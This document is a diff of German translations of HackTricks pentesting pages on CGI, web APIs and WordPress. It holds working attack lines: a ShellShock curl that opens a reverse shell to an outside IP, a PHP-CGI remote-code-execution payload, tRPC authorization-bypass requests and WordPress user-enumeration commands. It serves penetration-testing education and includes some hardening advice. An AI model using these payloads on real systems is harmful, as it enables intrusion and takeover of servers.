Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network

src/network-services-pentesting/pentesting-web/cgi.md

@@ -5,26 +5,26 @@
 
 ## Informationen
 
-Die **CGI-Skripte sind Perl-Skripte**, daher kannst du, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, eine **perl reverse shell** hochladen (`/usr/share/webshells/perl/perl-reverse-shell.pl`), die **Erweiterung** von **.pl** zu **.cgi** ändern, **Ausführungsrechte** (`chmod +x`) setzen und die Reverse-Shell **vom Webbrowser aus** aufrufen, um sie auszuführen.
-Um auf **CGI vulns** zu testen, wird empfohlen `nikto -C all` \(und alle Plugins\) zu verwenden.
+Die **CGI scripts sind perl scripts**, daher kannst du, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, eine **perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) hochladen, die **Dateiendung** von **.pl** auf **.cgi** ändern, **Ausführungsrechte** setzen \(`chmod +x`\) und die Reverse-Shell **über den Webbrowser** aufrufen, um sie auszuführen.
+Um auf **CGI vulns** zu testen, empfiehlt sich `nikto -C all` \(und alle Plugins\)
 
 ## **ShellShock**
 
-**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash** Kommandozeile in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, Befehle auszuführen, die von Anwendungen übergeben werden. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, das sind dynamische benannte Werte, die beeinflussen, wie Prozesse auf einem Rechner laufen. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfangen der Variable ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren.
+**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash** Kommandozeile in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, das sind dynamische benannte Werte, die beeinflussen, wie Prozesse auf einem Rechner ausgeführt werden. Angreifer können dies ausnutzen, indem sie **bösartigen Code** an Umgebungsvariablen anhängen, der beim Empfangen der Variablen ausgeführt wird. Dadurch können Angreifer potenziell das System kompromittieren.
 
-Beim Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.
+Beim Ausnutzen dieser Schwachstelle kann die Seite einen Fehler zurückgeben.
 
-Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte **Apache**-Version und **cgi_mod** \(mit einem cgi-Ordner\) verwendet werden, oder indem du **nikto** einsetzt.
+Du kannst diese Schwachstelle finden, indem du bemerkst, dass eine **alte Apache-Version** und **cgi_mod** (mit cgi Ordner) verwendet wird, oder indem du **nikto** einsetzt.
 
 ### **Test**
 
-Die meisten Tests basieren darauf, etwas zu echoen und zu erwarten, dass diese Zeichenkette in der Web-Antwort zurückkommt. Wenn du denkst, dass eine Seite verwundbar sein könnte, suche alle **cgi**-Seiten und teste sie.
+Die meisten Tests basieren darauf, mit echo etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückkommt. Wenn du denkst, eine Seite könnte verwundbar sein, suche alle cgi-Seiten und teste sie.
 
 **Nmap**
 ```bash
 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
 ```
-## **Curl \(reflected, blind und out-of-band\)**
+## **Curl \(reflected, blind and out-of-band\)**
 ```bash
 # Reflected
 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-## Zentralisierte CGI-Dispatcher (Routing eines einzelnen Endpunkts über Selector-Parameter)
+## Centralized CGI dispatchers (single endpoint routing via selector parameters)
 
-Viele embedded Web-UIs bündeln Dutzende privilegierter Aktionen hinter einem einzelnen CGI-Endpunkt (zum Beispiel `/cgi-bin/cstecgi.cgi`) und verwenden einen Selector-Parameter wie `topicurl=<handler>`, um die Anfrage an eine interne Funktion zu routen.
+Viele eingebettete Web-UIs multiplexen Dutzende privilegierte Aktionen hinter einem einzigen CGI-Endpoint (zum Beispiel `/cgi-bin/cstecgi.cgi`) und verwenden einen Selector-Parameter wie `topicurl=<handler>`, um die Anfrage an eine interne Funktion zu routen.
 
-Vorgehensweise zur Ausnutzung dieser Router:
+Methodik, um diese Router auszunutzen:
 
-- Enumerate handler names: JS/HTML scrapen, mit wordlists brute-forcen oder Firmware entpacken und mit grep nach Handler-Strings suchen, die vom Dispatcher verwendet werden.
-- Test unauthenticated reachability: einige Handler vergessen auth-Checks und sind direkt aufrufbar.
-- Focus on handlers that invoke system utilities or touch files; schwache Validatoren blockieren oft nur wenige Zeichen und übersehen möglicherweise das führende `-`.
+- Handler-Namen enumerieren: JS/HTML scrapen, brute-force mit wordlists, oder Firmware entpacken und nach Handler-Strings grep'en, die vom Dispatcher verwendet werden.
+- Unauthentifizierte Erreichbarkeit testen: Manche Handler vergessen Auth-Checks und sind direkt aufrufbar.
+- Auf Handler fokussieren, die system utilities aufrufen oder Dateien berühren; schwache Validatoren blockieren oft nur wenige Zeichen und übersehen möglicherweise den führenden Hyphen `-`.
 
 Generische Exploit-Muster:
 ```http
@@ -77,28 +77,28 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
 ```
 Erkennung und Härtung:
 
-- Achte auf unauthentifizierte Requests an zentralisierte CGI-Endpunkte, bei denen `topicurl` auf sensitive Handler gesetzt ist.
-- Markiere Parameter, die mit `-` beginnen (argv option injection attempts).
-- Vendors: erzwinge Authentifizierung für alle zustandsverändernden Handler, validiere mittels strikten Allowlists/Typen/Längen und übergib niemals von Benutzern kontrollierte Strings als Kommandozeilen-Flags.
+- Achten Sie auf unauthentifizierte Anfragen an zentralisierte CGI-Endpunkte mit `topicurl`, die auf sensible Handler zeigen.
+- Markiere Parameter, die mit `-` beginnen (Versuche einer argv-Optionen-Injektion).
+- Anbieter: Erzwingen Sie Authentifizierung für alle zustandsändernden Handler, validieren Sie mittels strikter Allowlists/Typen/Längen und übergeben Sie niemals vom Benutzer kontrollierte Zeichenketten als Kommandozeilen-Flags.
 
 ## Altes PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
 
-Grundsätzlich: wenn CGI aktiv ist und PHP "alt" \(&lt;5.3.12 / &lt; 5.4.2\), kannst du Code ausführen.
-Um diese Schwachstelle auszunutzen, musst du auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "="\).
-Um die Schwachstelle zu testen, könntest du zum Beispiel `/index.php?-s` aufrufen \(achte auf das `-s`\) und **der Quellcode der Anwendung wird in der Antwort erscheinen**.
+Grundsätzlich: Wenn cgi aktiv ist und PHP "alt" \(&lt;5.3.12 / &lt; 5.4.2\), kann Code ausgeführt werden.
+Um diese Schwachstelle auszunutzen, muss auf eine PHP-Datei des Webservers zugegriffen werden, ohne Parameter zu senden \(insbesondere ohne das Zeichen "=" zu senden\).
+Um die Schwachstelle zu testen, kann man z. B. `/index.php?-s` aufrufen \(beachte `-s`\) und **der Quellcode der Anwendung erscheint in der Antwort**.
 
-Um dann **RCE** zu erlangen, kannst du diese spezielle Anfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und der **PHP code** wird im **body of the request** ausgeführt.
+Um **RCE** zu erreichen, kann folgende spezielle Anfrage gesendet werden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und der **PHP code** wird im **Body der Anfrage** ausgeführt.
 Beispiel:
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**Mehr Infos über die vuln und möglichen exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**Mehr Informationen über die vuln und mögliche exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
 
-## **Proxy \(MitM to Web server requests\)**
+## **Proxy \(MitM an Webserver-Anfragen\)**
 
-CGI legt für jeden header in der http request eine Umgebungsvariable an. Zum Beispiel: "host:web.com" wird zu "HTTP_HOST"="web.com"
+CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" angelegt.
 
-Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuche einen **header** zu senden, der folgendes enthält: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Führt der Server während der Session eine Anfrage aus, kannst du jede vom Server ausgeführte Anfrage abfangen.
+Da die Variable HTTP_PROXY vom Webserver verwendet werden kann, versuche einen **Header** zu senden, der folgendes enthält: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Wenn der Server während der Session irgendwelche Requests ausführt, kannst du jede vom Server getätigte Anfrage mitschneiden.
 
 ## **Referenzen**
 

src/network-services-pentesting/pentesting-web/web-api-pentesting.md

@@ -2,54 +2,96 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## API Pentesting Methodology Summary
+## API Pentesting Methodik — Zusammenfassung
 
-Pentesting von APIs erfordert einen strukturierten Ansatz zur Aufdeckung von Schwachstellen. Dieser Leitfaden fasst eine umfassende Methodik zusammen, die praktische Techniken und Werkzeuge betont.
+Das Pentesting von APIs erfordert einen strukturierten Ansatz zur Aufdeckung von Schwachstellen. Dieser Leitfaden fasst eine umfassende Methodik zusammen und legt den Schwerpunkt auf praktische Techniken und Tools.
 
-### **Understanding API Types**
+### **Verständnis der API-Typen**
 
-- **SOAP/XML Web Services**: Nutzen das WSDL-Format für die Dokumentation, typischerweise zu finden unter `?wsdl`-Pfaden. Werkzeuge wie **SOAPUI** und **WSDLer** (Burp Suite Extension) sind entscheidend für das Parsen und Generieren von Anfragen. Beispielhafte Dokumentation ist zugänglich unter [DNE Online](http://www.dneonline.com/calculator.asmx).
-- **REST APIs (JSON)**: Dokumentation kommt oft in WADL-Dateien, jedoch bieten Werkzeuge wie [Swagger UI](https://swagger.io/tools/swagger-ui/) eine benutzerfreundlichere Schnittstelle für die Interaktion. **Postman** ist ein wertvolles Werkzeug zum Erstellen und Verwalten von Beispielanfragen.
-- **GraphQL**: Eine Abfragesprache für APIs, die eine vollständige und verständliche Beschreibung der Daten in Ihrer API bietet.
+- **SOAP/XML Web Services**: Verwenden das WSDL-Format für die Dokumentation, typischerweise unter `?wsdl`-Pfaden zu finden. Tools wie **SOAPUI** und **WSDLer** (Burp Suite Extension) sind beim Parsen und Erzeugen von Anfragen hilfreich. Beispiel-Dokumentation ist erreichbar unter [DNE Online](http://www.dneonline.com/calculator.asmx).
+- **REST APIs (JSON)**: Die Dokumentation liegt häufig in WADL-Dateien vor, jedoch bieten Tools wie [Swagger UI](https://swagger.io/tools/swagger-ui/) eine benutzerfreundlichere Oberfläche zur Interaktion. **Postman** ist ein wertvolles Tool zum Erstellen und Verwalten von Beispielanfragen.
+- **GraphQL**: Eine Query-Sprache für APIs, die eine vollständige und verständliche Beschreibung der Daten in Ihrer API bietet.
 
 ### **Practice Labs**
 
-- [**VAmPI**](https://github.com/erev0s/VAmPI): Eine absichtlich verwundbare API für praktische Übungen, die die OWASP Top 10 API-Schwachstellen abdeckt.
+- [**VAmPI**](https://github.com/erev0s/VAmPI): Eine absichtlich verwundbare API für praktische Übungen, die die OWASP Top-10 API-Schwachstellen abdeckt.
 
-### **Effective Tricks for API Pentesting**
+### **Effektive Tricks für API Pentesting**
 
-- **SOAP/XML Vulnerabilities**: Untersuchen Sie XXE-Schwachstellen, obwohl DTD-Deklarationen oft eingeschränkt sind. CDATA-Tags können die Payload-Einfügung ermöglichen, wenn das XML gültig bleibt.
-- **Privilege Escalation**: Testen Sie Endpunkte mit unterschiedlichen Berechtigungsstufen, um unbefugte Zugriffs Möglichkeiten zu identifizieren.
-- **CORS Misconfigurations**: Untersuchen Sie CORS-Einstellungen auf potenzielle Ausnutzbarkeit durch CSRF-Angriffe aus authentifizierten Sitzungen.
-- **Endpoint Discovery**: Nutzen Sie API-Muster, um versteckte Endpunkte zu entdecken. Werkzeuge wie Fuzzer können diesen Prozess automatisieren.
-- **Parameter Tampering**: Experimentieren Sie mit dem Hinzufügen oder Ersetzen von Parametern in Anfragen, um auf unbefugte Daten oder Funktionen zuzugreifen.
-- **HTTP Method Testing**: Variieren Sie die Anfragemethoden (GET, POST, PUT, DELETE, PATCH), um unerwartete Verhaltensweisen oder Informationsoffenlegungen aufzudecken.
-- **Content-Type Manipulation**: Wechseln Sie zwischen verschiedenen Inhaltstypen (x-www-form-urlencoded, application/xml, application/json), um auf Parsing-Probleme oder Schwachstellen zu testen.
-- **Advanced Parameter Techniques**: Testen Sie mit unerwarteten Datentypen in JSON-Payloads oder experimentieren Sie mit XML-Daten für XXE-Injektionen. Versuchen Sie auch Parameter-Verschmutzung und Wildcard-Zeichen für umfassendere Tests.
-- **Version Testing**: Ältere API-Versionen könnten anfälliger für Angriffe sein. Überprüfen Sie immer mehrere API-Versionen und testen Sie gegen diese.
+- **SOAP/XML Vulnerabilities**: Untersuche XXE-Schwachstellen, obwohl DTD-Deklarationen oft eingeschränkt sind. CDATA-Tags können das Einfügen von Payloads erlauben, sofern das XML gültig bleibt.
+- **Privilege Escalation**: Teste Endpunkte mit unterschiedlichen Privilegien, um Möglichkeiten unautorisierter Zugriffe zu identifizieren.
+- **CORS Misconfigurations**: Untersuche CORS-Einstellungen auf mögliche Ausnutzbarkeit durch CSRF-Angriffe aus authentifizierten Sessions.
+- **Endpoint Discovery**: Nutze API-Muster, um versteckte Endpunkte zu entdecken. Tools wie Fuzzer können diesen Prozess automatisieren.
+- **Parameter Tampering**: Experimentiere damit, Parameter in Anfragen hinzuzufügen oder zu ersetzen, um auf unautorisierte Daten oder Funktionen zuzugreifen.
+- **HTTP Method Testing**: Variiere Request-Methoden (GET, POST, PUT, DELETE, PATCH), um unerwartetes Verhalten oder Informationslecks zu entdecken.
+- **Content-Type Manipulation**: Wechsle zwischen verschiedenen Content-Types (x-www-form-urlencoded, application/xml, application/json), um Parsing-Probleme oder Schwachstellen zu testen.
+- **Advanced Parameter Techniques**: Teste mit unerwarteten Datentypen in JSON-Payloads oder spiele mit XML-Daten für XXE-Injektionen. Probiere außerdem Parameter-Pollution und Wildcard-Character für breitere Tests.
+- **Version Testing**: Ältere API-Versionen sind möglicherweise anfälliger für Angriffe. Prüfe stets und teste gegen mehrere API-Versionen.
 
-### **Tools and Resources for API Pentesting**
+### Autorisierung & Business-Logik (AuthN != AuthZ) — tRPC/Zod protectedProcedure-Fallstricke
 
-- [**kiterunner**](https://github.com/assetnote/kiterunner): Hervorragend geeignet zur Entdeckung von API-Endpunkten. Verwenden Sie es, um Pfade und Parameter gegen Ziel-APIs zu scannen und zu brute-forcen.
+Moderne TypeScript-Stacks nutzen häufig tRPC mit Zod für die Input-Validierung. In tRPC stellt `protectedProcedure` typischerweise sicher, dass die Anfrage über eine gültige Session (Authentication) verfügt, impliziert jedoch nicht, dass der Aufrufer die richtigen Rollen/Berechtigungen (Authorization) besitzt. Diese Diskrepanz führt zu Broken Function Level Authorization (BOLA), wenn sensitive Prozeduren nur durch `protectedProcedure` abgesichert sind.
+
+- Bedrohungsmodell: Jeder niedrig privilegierte authentifizierte Benutzer kann Admin-Grade-Prozeduren aufrufen, wenn Rollenprüfungen fehlen (z. B. background migrations, feature flags, tenant-wide maintenance, job control).
+- Black-box signal: `POST /api/trpc/<router>.<procedure>`-Endpunkte, die für normale Accounts erfolgreich sind, obwohl sie nur für Admins sein sollten. Self-serve Anmeldungen erhöhen die Ausnutzbarkeit drastisch.
+- Typische tRPC-Route (v10+): JSON-Body verpackt unter `{"input": {...}}`.
+
+Beispiel für ein verwundbares Muster (keine Rollen-/Berechtigungsprüfung):
+```ts
+// The endpoint for retrying a migration job
+// This checks for a valid session (authentication)
+retry: protectedProcedure
+// but not for an admin role (authorization).
+.input(z.object({ name: z.string() }))
+.mutation(async ({ input, ctx }) => {
+// Logic to restart a sensitive migration
+}),
+```
+Praktische Exploitation (black-box)
+
+1) Registriere ein normales Konto und erhalte eine authentifizierte Sitzung (cookies/headers).
+2) Enumeriere Hintergrund-Jobs oder andere sensible Ressourcen via “list”/“all”/“status” Verfahren.
+```bash
+curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
+-H 'Content-Type: application/json' \
+-b '<AUTH_COOKIES>' \
+--data '{"input":{}}'
+```
+3) Privilegierte Aktionen aufrufen, z. B. einen Job neu starten:
+```bash
+curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
+-H 'Content-Type: application/json' \
+-b '<AUTH_COOKIES>' \
+--data '{"input":{"name":"<migration_name>"}}'
+```
+Zu bewertende Auswirkungen
+
+- Datenkorruption durch nicht-idempotente Neustarts: Das Erzwingen gleichzeitiger Ausführungen von migrations/workers kann Race Conditions und inkonsistente partielle Zustände erzeugen (stiller Datenverlust, fehlerhafte Analytics).
+- DoS via worker/DB starvation: Das wiederholte Auslösen ressourcenintensiver Jobs kann worker-Pools und Datenbankverbindungen erschöpfen und mandantenweite Ausfälle verursachen.
+
+### **Tools und Ressourcen für API Pentesting**
+
+- [**kiterunner**](https://github.com/assetnote/kiterunner): Ausgezeichnet zum Auffinden von API-Endpunkten. Verwende es, um Pfade und Parameter gegen Ziel-APIs zu scannen und brute force auszuführen.
 ```bash
 kr scan https://domain.com/api/ -w routes-large.kite -x 20
 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 ```
-- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj ist ein Befehlszeilenwerkzeug, das entwickelt wurde, um bei der Überprüfung von **exponierten Swagger/OpenAPI-Definitionsdateien** zu helfen, indem die zugehörigen API-Endpunkte auf schwache Authentifizierung überprüft werden. Es bietet auch Befehlsvorlagen für manuelle Schwachstellentests.
-- Zusätzliche Werkzeuge wie **automatic-api-attack-tool**, **Astra** und **restler-fuzzer** bieten maßgeschneiderte Funktionen für API-Sicherheitstests, die von Angriffssimulation bis hin zu Fuzzing und Schwachstellenscanning reichen.
-- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es ist ein API-Sicherheitswerkzeug, das Ihre API basierend auf einer OAS-Datei prüft (das Werkzeug ist in Rust geschrieben).
+- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj ist ein Kommandozeilen-Tool, das beim Audit von **exposed Swagger/OpenAPI definition files** hilft, indem es die zugehörigen API-Endpunkte auf schwache Authentifizierung prüft. Es liefert außerdem Kommandovorlagen für manuelle Vulnerability-Tests.
+- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning.
+- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Es ist ein API-Security-Tool, das die API basierend auf einer OAS-Datei prüft (das Tool ist in rust geschrieben).
 
 ### **Lern- und Übungsressourcen**
 
-- **OWASP API Security Top 10**: Wichtige Lektüre zum Verständnis häufiger API-Schwachstellen ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
-- **API-Sicherheits-Checkliste**: Eine umfassende Checkliste zur Sicherung von APIs ([GitHub-Link](https://github.com/shieldfy/API-Security-Checklist)).
-- **Logger++ Filter**: Zur Suche nach API-Schwachstellen bietet Logger++ nützliche Filter ([GitHub-Link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
-- **API-Endpunktliste**: Eine kuratierte Liste potenzieller API-Endpunkte zu Testzwecken ([GitHub-Gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
+- **OWASP API Security Top 10**: Unverzichtbare Lektüre zum Verständnis häufiger API-Schwachstellen ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
+- **API Security Checklist**: Eine umfassende Checkliste zur Absicherung von APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
+- **Logger++ Filters**: Zum Aufspüren von API-Schwachstellen bietet Logger++ nützliche Filter ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
+- **API Endpoints List**: Eine kuratierte Liste potenzieller API-Endpunkte für Testzwecke ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
 
 ## Referenzen
 
 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
+- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -4,49 +4,49 @@
 
 ## Grundlegende Informationen
 
-- **Hochgeladene** Dateien landen in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Theme-Dateien können in /wp-content/themes/ gefunden werden,** daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit dem **theme twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Hochgeladene** Dateien landen unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
+- **Theme-Dateien befinden sich in /wp-content/themes/,** daher, wenn du etwas PHP des Themes änderst, um RCE zu bekommen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Beim Verwenden des **theme twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 - **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
-- In **wp-config.php** findest du das Root-Passwort der Datenbank.
-- Standard Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
+- In **wp-config.php** kannst du das Root-Passwort der Datenbank finden.
+- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
 
-### **Wichtige WordPress-Dateien**
+### **Haupt-WordPress-Dateien**
 
 - `index.php`
 - `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
-- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet.
+- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess bei der Einrichtung einer neuen WordPress-Seite verwendet.
 - Login-Ordner (können umbenannt sein, um sie zu verstecken):
 - `/wp-admin/login.php`
 - `/wp-admin/wp-login.php`
 - `/login.php`
 - `/wp-login.php`
-- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP als Transportmechanismus und XML als Kodierungsmechanismus zu übertragen. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
-- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
-- `wp-content/uploads/` ist das Verzeichnis, in dem alle zur Plattform hochgeladenen Dateien gespeichert werden.
-- `wp-includes/` Dieses Verzeichnis enthält Core-Dateien wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.
-- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien.
+- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die das Übertragen von Daten mit HTTP als Transportmechanismus und XML als Kodierungsmechanismus ermöglicht. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
+- Der Ordner `wp-content` ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
+- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
+- `wp-includes/` Dies ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
+- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien.
 
-**Post-Exploitation**
+**Post exploitation**
 
-- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. Datenbankname, Datenbank-Host, Benutzername und Passwort, Authentication Keys and Salts sowie das Tabellen-Prefix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
+- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbankhost, Benutzername und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
 
 ### Benutzerberechtigungen
 
 - **Administrator**
-- **Editor**: Veröffentlicht und verwaltet seine eigenen und die Beiträge anderer
+- **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge
 - **Author**: Veröffentlicht und verwaltet seine eigenen Beiträge
 - **Contributor**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
-- **Subscriber**: Kann Beiträge lesen und sein Profil bearbeiten
+- **Subscriber**: Durchsucht Beiträge und bearbeitet sein Profil
 
 ## **Passive Aufklärung**
 
-### **WordPress-Version ermitteln**
+### **WordPress-Version herausfinden**
 
-Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` findest
+Überprüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst
 
-Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
+Innerhalb des **source code** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
 
 - grep
 ```bash
@@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (524).png>)
 
-### Plugins abrufen
+### Plugins herunterladen
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
@@ -81,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 
 ### Plugins and Themes
 
-Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins and Themes zu finden. Um alle zu entdecken, musst du **actively Brute Force a list of Plugins and Themes** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
+Du wirst wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, musst du **aktiv per Brute Force eine Liste von Plugins und Themes** erstellen (hoffentlich gibt es für uns automatisierte Tools, die diese Listen enthalten).
 
-### Users
+### Benutzer
 
-- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite by Brute Forcing users IDs:
+- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
 ```bash
 curl -s -I -X GET http://blog.example.com/?author=1
 ```
 Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gültig** ist. Wenn die Antwort **400** ist, dann ist die id **ungültig**.
 
-- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
+- **wp-json:** Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
 ```bash
 curl http://blog.example.com/wp-json/wp/v2/users
 ```
-Ein weiterer `/wp-json/`-Endpoint, der einige Informationen über Benutzer offenlegen kann, ist:
+Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
 ```bash
 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 ```
-Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
+Beachte, dass dieser Endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
 
